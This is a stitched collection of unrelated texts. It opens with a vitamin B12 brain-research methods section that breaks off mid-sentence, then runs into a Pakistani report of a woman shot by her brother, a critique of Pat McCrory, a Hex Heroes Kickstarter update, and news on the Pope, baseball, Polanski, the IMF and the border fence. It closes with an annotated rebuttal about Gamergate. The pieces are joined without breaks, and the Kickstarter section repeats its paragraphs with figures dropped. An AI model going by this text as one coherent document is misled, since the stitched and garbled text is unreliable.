Vitamin B 12 is only synthesized by certain bacteria and humans obtain it from animal source foods such as meat, dairy, eggs, and fish.[ 12 ]. A series of chaperones, transport proteins and their receptors (e.g. haptocorrin, intrinsic factor, cubilin, amnionless and megalin) protect vitamin B 12 and facilitate its GI absorption and renal reabsorption for its retention. In the general circulation vitamin B 12 primarily exists bound to transcobalamin (TC) [ 13 ]. As illustrated in Fig 1, cell surface receptors (TC receptor and/or megalin) bring the Cbl·TC complex into lysosomes where Cbl is processed by MMACHC (methylmalonic aciduria type C and homocystinuria, also known as CblC). MMACHC carries out dealkylation of alkylCbls and decyanation of cyanocobalamin (CNCbl) in glutathione (GSH)-dependent and NADPH-dependent reactions, respectively [ 2 ]. Formation of active cofactors MeCbl and AdoCbl is then carried out by MMACHC in conjunction with MMADHC (methylmalonic aciduria type D and homocystinuria, also known as CblD) in the cytoplasm and mitochondria, respectively.
Endocytosis brings TC-bound Cbl species to lysosomes where axial ligands are removed by MMACHC and MeCbl or AdoCbl are subsequently formed by SAM and ATP-dependent pathways, respectively. MeCbl is a required cofactor for methionine synthase, whose activity supports a large number of methylation reactions, including DNA methylation, as well as dopamine-stimulated phospholipid methylation, carried out by the D4 dopamine receptor (D4R). AdoCbl supports MMACoA mutase in mitochondria. Cysteine, which is rate-limiting for GSH synthesis, can be provided either by cellular uptake via the cysteine/glutamate transporter EAAT3 (excitatory amino acid transporter 3) or by transsulfuration of HCY via cystathionine. The latter pathway is restricted in human brain, increasing the importance of growth factor-dependent cysteine uptake by EAAT3.
Metabolically active forms of vitamin B 12, methylcobalamin (MeCbl) and adenosylcobalamin (AdoCbl), serve as essential cofactors for two reactions: MeCbl for folate-dependent methylation of HCY to methionine by methionine synthase (MS) in the cytoplasm, and AdoCbl for conversion of methylmalonylCoA to succinylCoA by methylmalonyl CoA mutase in mitochondria ( Fig 1 ) [ 1, 2 ]. Since MS activity determines the ratio of the methyl donor S-adenosylmethionine (SAM) to the endogenous methylation inhibitor S-adenosylhomocysteine (SAH), MeCbl is poised to influence hundreds of SAM-dependent methylation reactions, affecting nearly every aspect of metabolism. Important among these reactions is methylation of DNA and histones, which combine to exert dynamic epigenetic control over gene expression [ 3 ]. MeCbl is also required for dopamine-stimulated phospholipid methylation, a unique activity of D4 dopamine receptors [ 4 ], which depends upon MS activity [ 5 ] and has been proposed to play an important role in neuronal synchronization and attention [ 6 ]. Genetic variants of the D4 receptor have been linked to attention-deficit hyperactivity disorder (ADHD) [ 7, 8 ], schizophrenia risk [ 9, 10 ], and drug addiction [ 9 ], as well as to human longevity [ 11 ].
GCLM-KO mice were generated from C57Bl/6J mice [ 37 ] and kindly provided by TP Dalton (Cincinnati University, Ohio). Experiments were performed in accordance with the guidelines of the Veterinary Office of the Canton de Vaud, Switzerland and approved by the Swiss Federal Food Safety and Veterinary Office (FSVO). Animals were maintained in a temperature-and humidity-controlled environment under a 12-h light–dark cycle with free access to food and water. Animal welfare was checked 3-times per week; mice displaying signs of dysfunction, wounds or important loss of weight were sacrificed. Heterozygous mice were bred and after genotyping, male littermates were decapitated at 40 and 90 days of age and sections of frontal cortex were dissected and frozen at—80°C until analysis of thiol and Cbl levels.
A 5% homogenate of postmortem brain samples was prepared in lysis buffer at 4°C. The assay was conducted under anaerobic and dark conditions, as previously described [ 36 ]. 385 μl of a 5% brain homogenate was mixed with 1 M K 2 HPO 4, 10 mM HCY, 100 mM DTT, 3.8 mM SAM, adding either 10 μl water or 10 μl of 5 mM OHCbl, in a final volume of 500μl. The assay was initiated by addition of [ 14 C-methyl] methyltetrahydrofolate, incubated for 60 min at 37°C and terminated by heating at 98°C for 2 min. MS activity was determined by measuring incorporation of 14 C into methionine, which was separated by passing through a Dowex 1-X8 column.
Thiol and thioether metabolites were measured using HPLC with electrochemical detection. Brain samples were thawed on ice, and a 10% homogenate was prepared. 50 mL of a 0.4 N perchloric acid solution was added to 200 μL of the sample, and samples were gently blown with nitrogen gas before being centrifuged at 13,000 RPM for 60 min. 100 μL of sample was added to a microautosampler vial, blown with nitrogen gas, capped and loaded at 4°C in the autosampler cooling tray. 10 μL of sample was injected into the HPLC system and measured by electrochemical detection. HPLC columns and running conditions were as same as previously published [ 35 ].
Cbl extraction and HPLC mobile phase selection were based on a previously published method [ 34 ]. Extraction was performed under dim-red light due to Cbl light sensitivity. Brain tissues were thawed on ice and a 10% homogenate was prepared. 150 μL of ice-cold absolute ethanol was added to 100 μL of each sample homogenate and incubated for 10 min. Protein precipitates were removed by centrifugation at 10,600 RPM for 3 min at 20°C. The resulting supernatant was evaporated to dryness, re-suspended with 300 μL PBS and passed through a syringe-driven filter (0.22 μm). The Cbl extract was then transferred to a conical micro autosampler vial, blown with nitrogen, capped and kept at 4°C in the autosampler cooling tray, covered by aluminum foil to avoid Cbl degradation. 30 μL of sample was injected into an Agilent Eclipse XDB-C8 (3 x 150mm; 3.5 μm) and Agilent Eclipse XDB-C8 (4.6 x 12.5mm; 5 μm) guard column by the autosampler. Samples were eluted using the following step gradient: 0–2 min 0% B, 2–14 min 17% B, 14–19 min 30% B, 24–31 min 58% B, 31–32 min 100% B, then equilibrate column with 0% B for 2 min at a flow rate of 0.6 mL/min. Mobile phase A contained 0.1% acetic acid/acetate buffer titrated to pH 3.5 with NH 4 OH. Mobile phase B was acetonitrile containing 0.1% acetic acid. Cbls were measured using electrochemical detection with an ESA CoulArray with BDD analytical cell model 5040 electrochemical detector at an operating potential of 1000 mV. Examples of chromatograms for cobalamin standards and brain samples are provided (Figures A-E in S2 File ). Peak area analysis, based on standard curves generated for each compound, was performed using CoulArray software (version 3.06 ESA analysis program package). Sample Cbl levels were normalized against protein content. Based upon spiked tissue samples, the extraction procedure resulted in recovery of 94.7 +/- 1.8% of tissue Cbl, and replication studies yielded a coefficient of variation of 6.3%.
Institutional approval for the use of postmortem brain samples was provided by the Northeastern University IRB (# 04-11-09). Postmortem samples of frontal cerebral cortex (Brodmann areas 9, 10, 44 or 45) were obtained from the Autism Tissue Program, now part of the Autism Brain Network ( http://www.autismbrainnet.com ), the |
he and his wife had accepted the marriage his son, Muhammad Asif, kept insisting that his sister divorce the man. On Thursday night, he said, the argument again broke out between the siblings and Asif shot her. She died before the family could take her to a hospital, he said.
Latif said his daughter had been seeing the neighbour, Karamat, for over a year without the family’s knowledge. “He is a married man and has a family of his own.
He didn’t even divorce his first wife to marry my daughter,” he said.
He said Asif fled the scene after the killing. “We will prosecute him,” he said.
Karamat is also missing, his family told The Tribune.
Balochni police said an FIR had been registered on a complaint filed by the father of the deceased. SHO Dilbar Hussain said a team had been assigned the task of arresting the suspect.
Killed by paramour during escape In another incident in a Khanewal village, a woman was shot and killed allegedly by her paramour while the two were on the run.
Talking to the media at a hospital, the man said that he and Kiran were running away from her family to get married. He said they decided to commit suicide when men from the girl’s family closed in on them.
He said he had shot Kiran and was about to shoot himself when her relatives caught him and started beating him.
The suspect was later taken into custody by the Saddar police after a clash with men from the woman’s family who had assaulted the policemen with sticks on their attempt to arrest him.
Published in The Express Tribune, December 10th, 2011.
Read full storyPat McCrory is having a pretty hard time finding a job, now that he’s no longer the Governor of North Carolina — largely due to the fact that, while he was in office, he pushed the notorious House Bill 2, which banned transgender people from using the bathroom matching their gender identity.
In a podcast interview with evangelical media site WORLD, McCrory complains that although he’s been able to get some consulting gigs since leaving office, he’s had a real hard time landing a job in academia on account of the fact that people think he’s a bigot.
The bill, he told interviewer Lisa Nelson, “has impacted me to this day, even after I left office. People are reluctant to hire me, because, ‘oh my gosh, he’s a bigot’ — which is the last thing I am.”
“If you disagree with the politically correct thought police on this new definition of gender, you’re a bigot, you’re the worst of evil,” he told Nelson. “It’s almost as if I broke a law.”
Then what, pray tell, is a bigot? To what extent are you allowed to discriminate against a group of people until you’re officially a bigot? To what extent should you even get to disagree with people on who they are? Why is this a thing you should have a say in?
“You ask the doctor if it’s a boy or a girl; you don’t ask the baby,” McCrory explained. Which should be some very interesting news for women like Lady Colin Cannon, whose doctor at birth mistook a genital malformation for her being a boy. Or the many, many, many intersex people who have had doctors simply pick a gender for them and turn out to be wrong. Because doctors don’t always know. As hard as it may be for people like Pat McCrory to understand, we don’t really know and understand everything when it comes to gender, and genitals and secondary sex characteristics are not the be–all and end–all determining factor in what gender someone is. Duh.
McCrory explained his troubles further in an interview with the Raleigh News-Observer:
“I’ve currently accepted several opportunities in business to do work that I’d done prior to becoming governor in consulting and advisory board positions, and I’ve also been exploring other opportunities in academia, nonprofits and government,” he said. “And I’ll hopefully be making some of those decisions in the near future.” the former governor said that he’s been considered for part-time university teaching positions — he wouldn’t say where — but that academic leaders “have shown reluctance because of student protests.” “That’s not the way our American system should operate — having people purged due to political thought,” he told The N&O.
Aww! The poor baby! Purged just for having a different opinion! Why is the world so cruel and intolerant? How is that even fair?
Except that’s not exactly it. It’s not like they’re saying, “Oh, you can’t have this job because you don’t support single-payer health care” or because you are a fan of trickle-down economics. McCrory and bigots like him may not want to hear this, but hiring someone who has a documented history of wanting to discriminate against a group of people is a liability.
It’s not just that people disagree with his views and want him to be sad and jobless, or even that they are somehow “coddling” people who disagree with his views. The fact of the matter is that if he were to be hired at a university and a trans student felt he was discriminating against them, his past actions and statements could be used against him in a lawsuit, and that lawsuit would have a pretty good chance of success.
Additionally — it’s a free country! And a school is allowed to take the wants and needs of its students into consideration when hiring a professor. Maybe a school simply doesn’t want a professor who is going to make a segment of its student body — who are, you know, paying to be there — feel disrespected or unwanted. Those protesting students are, for all intents and purposes, paying customers, and if a school doesn’t think Pat McCrory is going to provide value to them, they have every right not to hire him.
At the end of the day, while he’s free to disagree with trans people on what gender they are, colleges are also free to disagree with him about whether or not he should teach at their schools.
What he’s concerned about isn’t discrimination. Discrimination is telling an entire group of people they’re not allowed to use the proper bathroom.
(Top image via YouTube)Happy Holidays, Heroes!
As we’re sure you’ve noticed, it’s been a long time since we last published an update.
Hitting a snag
Over the last month and a half, there’s been a changing of the guard. Our animator and two of our three programmers have parted ways and we wish them all the best! This, however, made for a lull in our development as we looked onward to replacing them. But fear not! We’ve recently brought on an extra artist and have found another animator, both of which are exceptionally talented! As for programming, our one man team will be fine for the remainder of the game.
Will this cause Hex Heroes to be delayed? Unfortunately, yes. We're not sure exactly by how much, for various reasons. It's certainly possible we could finish the game two months later than planned because our progress slowed these last weeks. But when it comes to releasing there's a lot to think about. April/May was ideal because that is usually when there's a lull in game releases. It's also not completely up to us as we have to go through the international ratings boards and pass Nintendo's review process. We would still like the game to be in a complete state, often referred to as Gold, by Summer 2015.
Right now, with our new team members, we’re entering some new phases of development. So let’s lay them out for you and you'll get a better picture of our progress.
Progress Report
Programming: 65% Complete
What’s left to be programmed can be thought of in two ways.
The first is our foundations for adding new modes or features. When it comes to this, we’re pretty far along. There’s little we can’t add that a week of good codin’ love can provide. In other words, the meat and potatoes are in the stew!
The second major programming facet, is general bug fixing and fine tuning. We’ll enter this phase as we begin to playtest and find what does and doesn’t work. This step is more time consuming than difficult.
What’s left to be programmed can be thought of in two ways. The first is our foundations for adding new modes or features. When it comes to this, we’re pretty far along. There’s little we can’t add that a week of good codin’ love can provide. In other words, the meat and potatoes are in the stew! The second major programming facet, is general bug fixing and fine tuning. We’ll enter this phase as we begin to playtest and find what does and doesn’t work. This step is more time consuming than difficult. Design: 20% Complete
All the various pieces of a typical game - the classes, buildings, resources, and enemies - are already in the battlefield. Right now these pieces don't work well together because they're lacking in design. We start out by guestimating how many hits it might take the Rogue to kill a wolf, or how much wood and stone it takes to build the Blacksmith. As we enter a more comprehensive testing phase in the next couple months, we can begin revising stats and balancing the odds. Keep in mind, every detail has major ripple effects in how the game is played and enjoyed. That remaining percent of the design work encompasses polish and the building of stages.
All the various pieces of a typical game - the classes, buildings, resources, and enemies - are already in the battlefield. Right now these pieces don't work well together because they're lacking in design. We start out by guestimating how many hits it might take the Rogue to kill a wolf, or how much wood and stone it takes to build the Blacksmith. As we enter a more comprehensive testing phase in the next couple months, we can begin revising stats and balancing the odds. Keep in mind, every detail has major ripple effects in how the game is played and enjoyed. That remaining percent of the design work encompasses polish and the building of stages. Art: 35% Complete
Art can be broken down into a handful of things. There are the models, animations, UI, and special effects.
The game’s models are about 30% done. With 5 unique environments, each with about 3 or 4 unique enemies, there’s still plenty left to do. Thankfully, this step can be handled independently of any design decisions. In other words, this work doesn’t create too many ripples to keep our eyes on. Having hired another artist, we can really start grinding away at what remains.
Animations are a different story and quite possibly the biggest undertaking as a lot of them require keeping design choices in mind. For example, the Knight’s swing can be fully animated and look great, but then feel sluggish when it comes to combat. Animation is therefore an iterative process that can’t be rushed. While we’re currently at about 10% done on this front, we thankfully have talent on our side.
UI, or user interface, is an important step to any game. This is no more truer than for Hex Heroes. Basic menu layouts to consider aside, our biggest challenge is depicting all the relevant info for players on the TV as well as Gamepad. In this way, we’re practically doing the UI work of two games. We estimate being about 50% done here - only playtesting will tell if we’ve made the right decisions. Don’t worry, our UI is guaranteed to be better than the abomination that is Smash Bros. Wii U’s layout...
Special effects are some of the last things to consider. This involves particle effects like sparks or smoke, special lighting, and anything that adds that extra bit of wow. In the industry, this is called “juiciness”. The juicier something is, the more awesome it is to look at. For example, Shovel Knight is a very juicy game. Our programmer likes to spend his free time setting this up, so we estimate our current juice levels at 25%.
Art can be broken down into a handful of things. There are the models, animations, UI, and special effects. The game’s models are about done. With 5 unique environments, each with about 3 or 4 unique enemies, there’s still plenty left to do. Thankfully, this step can be handled independently of any design decisions. In other words, this work doesn’t create too many ripples to keep our eyes on. Having hired another artist, we can really start grinding away at what remains. Animations are a different story and quite possibly the biggest undertaking as a lot of them require keeping design choices in mind. For example, the Knight’s swing can be fully animated and look great, but then feel sluggish when it comes to combat. Animation is therefore an iterative process that can’t be rushed. While we’re currently at about done on this front, we thankfully have talent on our side. UI, or user interface, is an important step to any game. This is no more truer than for Hex Heroes. Basic menu layouts to consider aside, our biggest challenge is depicting all the relevant info for players on the TV as well as Gamepad. In this way, we’re practically doing the UI work of two games. We estimate being about done here - only playtesting will tell if we’ve made the right decisions. Don’t worry, our UI is guaranteed to be better than the abomination that is Smash Bros. Wii U’s layout... Special effects are some of the last things to consider. This involves particle effects like sparks or smoke, special lighting, and anything that adds that extra bit of wow. In the industry, this is called “juiciness”. The juicier something is, the more awesome it is to look at. For example, Shovel Knight is a very juicy game. Our programmer likes to spend his free time setting this up, so we estimate our current juice levels at. Music and Sound Effects: 60% Complete
The good news about music is that Grant Kirkhope has practically completed the soundtrack! We're very excited to have original 5 songs for our 5 environments, plus our main theme, plus a few other tracks that are used throughout the game, all composed by Grant. Scroll down to the bottom of this update to enjoy a snippet of our desert theme (possibly Grant’s favorite Hex Heroes tune so far)!
The remainder of our audio work is sound effects. We have our SFX guy waiting in the wings. We tried to move forward with SFX earlier, but so many of the sounds are dependent on themes from Grant or on animations of our characters. Now that Grant is finishing up and our animations are back in progress we'll be adding SFX soon.
The good news about music is that Grant Kirkhope has practically completed the soundtrack! We're very excited to have original 5 songs for our 5 environments, plus our main theme, plus a few other tracks that are used throughout the game, all composed by Grant. Scroll down to the bottom of this update to enjoy a snippet of our desert theme (possibly Grant’s favorite Hex Heroes tune so far)! The remainder of our audio work is sound effects. We have our SFX guy waiting in the wings. We tried to move forward with SFX earlier, but so many of the sounds are dependent on themes from Grant or on animations of our characters. Now that Grant is finishing up and our animations are back in progress we'll be adding SFX soon. Kickstarter Rewards
We found a vendor that we really like to handle some of our physical rewards. Level Up Studios will be printing our shirts, posters, and soundtrack cases. They have a bunch of video game-related swag on their site that's worth checking out. The shirts will be the first item completed so we'll have another update on their progress soon.
We'll be handling the Beta version of Hex Heroes a little differently. We're willing to give you an earlier peek at the game in what amounts to being more like a demo version. As part of our design process, we have to balance our classes not only by themselves, and not just in a team, but also as a duo. Don't forget, in Hex Heroes each player chooses two classes, and currently you can switch classes on the fly. In each version of the "Beta" we release we'll be focusing on certain classes and combinations.
Our other rewards are mostly waiting until we get some free time away from developing the game. We're still accepting faces and we'll be contacting those who will be supplying their voices or ideas. If you have any questions about your rewards, you can always contact us at info@prismatic-games.com.
The New Year
What’s all this mean for the new year ahead? Well, we’re still hard at work to bring what we consider the first beta to light. Not only will this be a demo that some of you backers get to enjoy, but also what we plan on submitting to Nintendo as we seek to earn a spot in their official lineup of promoted indie games. Making it there is the first step to seeing Hex Heroes featured in a Nintendo Direct!
The last several weeks have been a slump for us, but we’re pulling ourselves up by the bootstraps and gunning for a host of new milestones. We’re privileged to be able to share not only moments of triumph, but also the walls we hit with such a great backer base. Transparency about our development is key to all of you caring about Hex Heroes, and your support is the spark that inspires us! Thank you all, and have a wonderful new year!The pontiff launched a fierce attack on the financial institutions responsible for the economic downturn, and said their actions were directly linked to world poverty and starvation.
In message for World Peace Day on January 1, the Pope said finance which focused on short term profit was 'a threat to all.'
He said the current food crisis had not been created by a lack of food but 'the phenomenon of speculation and the inability of economic and political institutions to deal with needs and emergencies'.
"The unbridled pursuit of wealth for wealth's sake creates a risk that in the world the rich will live in an ivory tower surrounded by a desert of poverty and degradation," he wrote.
"Financial activity is only focused on itself without any consideration of the long term, the common good."
The Pope said globalisation gave countries the opportunity to work together in beating world poverty and he urged world leaders to spend less on military weapons and more on development.
He ended the message with an appeal to everyone to "open their hearts to the needs of the poor and do whatever is concretely possible to come to their aid. Combating poverty means building peace".
Pope Benedict's message for World Peace Day is called "Combating Poverty, Building Peace."The toughest division in baseball to predict doesn’t project to get much easier in 2017.
The American League East is the toughest division in baseball to predict, but not for the typical reason. Usually, analysts struggle to find a clear-cut winner prior to the start of the season. We saw it last season when projections and experts debated whether the Red Sox or Blue Jays would find themselves atop the standings come October.
A season ago, the Red Sox took home the divisional crown with a 93-69 record, good for a four-game lead over those same Blue Jays. This season, all of the analysts and number-crunchers are in consensus when they say that the Red Sox have a clear-cut advantage on paper. (For reference, Baseball Prospectus and FanGraphs projections will be used to as benchmarks).
Instead, the rest of the standings present the toughest challenge. Can the Yankees youthful talent make an impact a year ahead of schedule? Can the Orioles piece together a major league caliber rotation? Will the Rays’ rotation be enough to overcome a lineup that doesn’t project to do much of anything? Will the loss of Edwin Encarnacion shut the Blue Jays’ window for good?
Problem is, no one has a reasonable answer for any of those questions. Which is what makes projections like these so much fun.Image copyright EPA Image caption Polanski was in Poland just last week
Poland's justice minister says he will appeal against a decision not to extradite film director Roman Polanski to the US for statutory rape.
Zbigniew Ziobro, who is also Poland's prosecutor general, said he would make the appeal in the Supreme Court.
A judge rejected Polanski's extradition in October as "inadmissible".
The director, who lives in France, fled the US ahead of sentencing in 1978 after admitting having sex with a girl aged 13.
Polanski's victim, Samantha Geimer, described the ordeal of giving testimony against Polanski in an interview for the BBC's HARDTalk programme in 2013.
Media playback is unsupported on your device Media caption Samantha Geimer: Consequences of rape were awful
Polanski has French and Polish citizenship. France does not extradite its own citizens but the director occasionally visits Poland, attending a press event in Katowice just last week.
Swiss authorities turned down a US extradition warrant in 2010, after placing Polanski under house arrest for nine months.Body ups forecast for UK's GDP growth for second time this year, after 2013 warning austerity policies could trigger slump
The International Monetary Fund has raised its forecast for Britain's economic growth rate for the second time this year.
The Washington-based organisation said Britain would maintain its status as one of the world's fastest expanding major economies following a surge in growth to 3.2% by the end of the year.
The lender of last resort, which is headed by former French finance minister Christine Lagarde, uprated the UK's outlook for GDP growth by 0.4 percentage points this year and 0.2 percentage points to 2.7% next year in its latest world economic outlook.
After 18 months of recovery, the forecast that growth will continue for the rest of the year and into 2015 is a boost for George Osborne, especially after the same organisation criticised his austerity programme only last year.
Last year the IMF said George Osborne's austerity policies were "playing with fire" and could trigger a slump. Olivier Blanchard, its chief economist, said then that the risk for Britain of "having no growth, or very little growth, for a long time is very high" if the government maintained its austerity strategy.
Since then the UK has seen employment expand rapidly and the economy has regained its pre-recession level of output. In April this year, the IMF forecast that the UK would outperform other big economies with 2.9% growth.
On Friday the Office for National Statistics is to give its first estimate of GDP in the three months to the end of June following a strong first quarter that saw expansion hit 0.8%, giving an annual growth rate of more than 3%.
Despite a recent slowdown in high street spending and a cooling in house price rises, the figures are expected to confirm Britain has passed its previous peak and is reaching new highs.
Osborne said: "Today the IMF has upgraded their 2014 forecast for the UK by more than any other major economy. The government's long-term economic plan is working. But the job is not yet done and so we will go on making the assessment of what needs to be done to secure a brighter economic future."
Labour accused the government of complacency and called on ministers to make sure the benefits of the recovery were shared.
In an article for the Guardian on Friday, shadow chancellor Ed Balls said: "Hoping tax cuts at the very top will trickle down, a race to the bottom on wages, Treasury opposition to a proper industrial strategy, and flirting with exit from the European Union cannot be the right prescription for Britain."
Blanchard also said on Thursday that while some economies are growing strongly, threats from geopolitical risks have intensified since the IMF's last report in April. He cited the threat from further sanctions against Russia and the potential knock-on effect to oil prices.
He cut the forecast for global growth from 3.7% to 3.4% in 2014 following worse than expected figures from the US, where companies built up huge stockpiles of goods which went unsold during a record-breaking cold spell in the spring.
The IMF previously expected global growth to be nearer 5% at this stage of the recovery, but the severe slowdown in the eurozone, borrowing restrictions in China and a muted rebound in Japan have dashed these hopes.
He said: "Advanced economies are still confronted with high levels of public and private debt, which act as brakes on the recovery. These brakes are coming off, but at different rates across countries.
"Emerging markets are slowing down from pre-crisis growth rates. They have to address some of their underlying structural problems, and take on structural reforms. At the same time, they have to deal with the implications of monetary policy normalisation in the US," he added.
Russia suffered one of the largest downgrades by the IMF following a year in which foreign companies have pulled out and oligarchs have spent abroad, partly on London property.
Further sanctions and a deterioration in the situation across eastern Ukraine would harm Russia and other countries in the region and encourage further outflows of funds. The Russian economy has been hit hard by cuts in investment following huge capital outflows, leading to a 1.1 percentage point cut in its 2014 growth forecast to 0.2%.The land border between the US and Mexico is 1,933 miles in length, and Donald Trump would like to see all of it sealed off—as would nearly half of all Americans, according to a survey by the Pew Research Center. (At 46%, the share of those who favor putting a fence along the entirety of the US’ southern border has not changed since 2007—although in the latest poll, released Oct. 8, the profile of supporters skewed whiter, older, and more Republican.)
Erecting an end-to-end barrier would be a complicated and costly endeavor, though.
Here’s a look at the fencing that currently runs along roughly a third of the border, based on reports from the US Congressional Research Center (pdf) and the Government Accountability Office (pdf). Most of the fencing was built between 2005 and 2011, although barrier construction along the border dates back as far as 1990 (pdf).
Fence type Length Pedestrian fence 352.7 miles Vehicle fence 299 miles Secondary fence 36.3 miles Estimated average cost per mile $1.7 million to $6.5 million
At those costs, the price tag to seal the rest of the border would be between $2.2 billion and $8.3 billion—although the final tab could be much higher because some of the areas that remain unfenced are remote and inhospitable, and presumably would be more expensive to build on.
Trump isn’t suggesting that the US foot that bill. (In June, he told CNN that he would build it, but make Mexico pay for it.) But there would be other expense hurdles to consider—legal costs, for example. When the US government tried to secure land to put up the existing wall, a flurry of lawsuits ensued, some filed by the government and others filed against it. Federal officials also had to fight environmentalists concerned that the fence would disrupt wildlife.
In the end, blocking off at least parts of the border has not been enough to dissuade smugglers. To get around the current fence, they’ve cut holes in it, carved tunnels under it, and even used a catapult to launch their contraband over it.
A longer, sturdier wall might just yield more creative solutions to overcome it.While I appreciate the calm tones I feel that this video does not give an accurate assessment of the situation and furthermore continues to push a harmful narrative that really doesn’t seem to have too much basis in reality.
So it’s important to really know the history behind it. The catalyst was a long post by an ex of an indie developer called Zoe Quinn. In this post, it alleged a conflict of interest between a Kotaku journalist and the developer. (This relationship was never actually alleged in the post, it was a baseless assertion posited originally on 4chan [It’s since been brought to my attention that he has added a similar correction to his original post — “This claim appears to have been manufactured somewhere down the line and repeated enough times that people believe it” Hilariously enough, I find this characterises much of the rest of his comment but to the time of this writing it’s the only correction he’s added]) This information turned out to be inaccurate to a point, it alleged that the journalist (Nathan Grayson) had written a positive review of the game while in a romantic relationship with the developer. This is not true, however what is true is that Grayson wrote an article using Quinn as a source on March 31st of this year, regarding a game jam, in which he promoted her game. In “early April”, the two began a romantic relationship. (This is misleading at best and flat out inaccurate at worst. Depression Quest was only mentioned in the article in the context of “Depression Quest Developer Zoe Quinn,” who is also only referenced a few times, with no undue commentary. It’s also pretty disingenuous to imply more proximity between these events as anyone who has written an investigative article knows it typically does not come together in one or two days, and the Game_Jam events had taken place month or more before) Editor in Chief at Kotaku Stephen Totilo claims he does not see a problem with this, since the romantic relationship began after the article was written, however many people including myself disagree, since it is unlikely that the relationship suddenly sprang out of nowhere and that a friendship was in place prior to this. I and many supporting Gamergate believe this should have been disclosed or that Grayson should have recused himself from writing this article. Kotaku disagrees. (Most ethics policies at major journalistic institutions do not require disclosure [except occasionally to supervisors for advice] or recusal in the event of normal professional friendships, TB might disagree with Totilo and Kotaku, but most ethical standards do not) However, while this and many other examples of corruption and nepotism (It’s just been pointed out that by and large, journalistic standards do not consider this corruption whatsoever, and certainly not nepotism. It’s disingenuous to assert that this is an example of either, so TB should probably begin elaborating on those “many other examples”) are core to what keeps Gamergate moving along, it wasn’t even called Gamergate back then, it was called Quinnspiracy or later, Burgers and fries. These two names were abandoned because people wanted to disassociate with Zoe Quinn and any trolling and harassment that had gone on and focus on ethical issues. After 10+ articles were released in the course of one day, claiming “gamers are dead” and using hurtful and incendiary language to condemn the identity of many innocent people (The closest number I could get while looking was 8 articles on Aug 28th, and none of them actually used the phrase “Gamers are Dead” and to characterise them as an attack on Gamers is very misleading. Many people have broken down why this assessment is incorrect, and no, “Death of the Author” doesn’t come into it. Thought I would get that out there as I know TotalBiscuit and GamerGate have a history of using that term incorrectly), #Gamergate exploded, after the term was coined by actor Adam Baldwin. It was a consumer backlash against anti-consumer articles. (This is best I can tell a downright lie. Baldwin coined the term the day before any of those articles, in a tweet containing videos which assert libellous misinformation about Zoe Quinn that even at the time had been debunked. Gamergate certainly “exploded” after many people seemingly wilfully misinterpreted the much-maligned “Gamers are Over” articles [“anti-consumer” they are not], but attempting to whitewash the tag’s origins will not win him many points. TotalBiscuit will later go on to describe GamerGate’s coining as an attempt to separate the group from harassment but considering the content of said coining tweet that doesn’t seem to carry much weight either) Many people felt angry and alienated by them and in my opinion rightfully so.
In the course of this, Anita Sarkeesian released her latest video and inserted herself into the discussion. (I can personally attest to the fact that Anita was involved in the discussion well before any mention of the threats. The day before the threats were mentioned, Tim Schafer tweeted about how important he felt Anita’s latest video was. In response to this tweet, Tim received a stream of insults and other ignorant responses, which I watched in real time for several days, as well as lamentations concerning his support. Going through his timeline again and examining those taking part in this conversation reveals many who would go on to be part of GamerGate proper, using many of the faulty arguments against Anita that GamerGate members repeat to this day. This was Tim’s only real interaction with proto-GamerGate and continued to be well into its first week once the tag was established. Once it was, the people complaining in his feed started explicitly identifying as members of GamerGate. Again, his only interaction to that point had been to tweet about the FemFreq video and mock the response. Side Note: To characterise someone publishing a fairly simple breakdown of some tropes in videogames in video form, for which she then received extremely graphic death threats which included her home address as “Inserting herself into the conversation” is blatant victim blaming so disgusting I almost stopped reading right there) She published alleged death threats from an anonymous internet troll (they were not alleged anything. They were death threats) and then decided to go on the offensive, repeatedly associating these threats with the entirity of those involved with Gamergate and getting directly involved in the hashtag by posting constantly negative attacks (Once again, some flat out untrue shit here! Her only mentions of Gamergate within the first week of the threats were 2 retweets concerning the number of Gamergate members insisting that she had fabricated the threats! A little over a week after the threats were made she personally tweeted the hashtag!…in reference to a Paste Magazine Article. Then finally a couple days after that she retweeted someone saying something negative about Gamergate that was implicitly connected to her threats. Even if she had immediately tried to link these threats to the burgeoning movement, that would not constitute “associating these threats with the entirity [sic] of those involved”) She has nothing to do with journalistic ethics, however she inserted herself into the discussion. I personally have no doubt that she received these threats, death-threats are unfortunately very common online but I do doubt their credibility and who exactly sent them. We simply do not know. (I’m not sure why he would feel the need to doubt their “credibility” here. The threats contained personal information about her including her home address. Personally I think, and clearly law enforcement agrees, that this bumps them into “credible” range) The problem with a hashtag is that there are no entry requirements. Anyone can post and claim to be associated with the movement, however it is leaderless and the actions of one person being tied to the entire movement seem fairly illogical and require some serious use of the guilt by association fallacy. (Fallacies really are not required in order to tie the movement to the harassment. The past months have been widely recognised as the worst episode of concentrated harassment in the inudstry’s history. And what is the new element? What makes the industry now different from the industry of 6 months ago? Or a year ago? The answer is Gamergate. That’s it. Nothing changed about the regular “troll” haunts, except that GamerGate discussion was ousted from 4chan. Even if the anonymous harassers are in no way linked to anyone in GamerGate at all, one still has to admit a relationship between the appearance of the two phenomena. And even if you don’t accept that premise, I’ll examine a little ways down how one doesn’t need to take part in harassment to be complicit in facilitating it) In response to a one-sided narrative by the media, proclaiming all those involved to be misogynist, disgusting white male sexists, (This is a widely touted characterisation of the response but in reality is severely overblown. It is never supported by contextually applicable quotes. At best this is the way the media has characterised the probable harassers, who nobody needs to be offended on behalf of) groups of those claiming to be part of Gamergate raised money for charity, hunted down and reported harassment efforts and even tracked down someone who had been sending Sarkeesian death-threats (Strangely, none of these have anything to do with Ethics in Games Journalism. When asked what else should characterise GamerGate but the harassment that lurks in its shadow, these are the common responses. If that’s the answer then I posit that GamerGate, if you ignore the harassment for whatever reason, is not a movement defined by a desire for improved Journalistic Ethics, but a movement out to defend its own reputation. That is the only alternate characterisation supported by these other actions, which are for some reason more attributable to GamerGate as a whole than threats and harassment [hint: the reason is it makes them look good despite its illogical nature]. Also note that of the several threats Sarkeesian received concerning her planned Utah appearance, GamerGate investigators did nothing to look into the one that explicitly cited GamerGate as a motive) Unfortunately Sarkeesian has refused to take this information and use it to press charges for some reason. (This is an assertion that’s, I’m going to guess, based on little to no information. Considering it would likely be relevant to an ongoing investigation, the assumption that based on no evidence she has not made use of the information at all seems rather maliciously baseless)
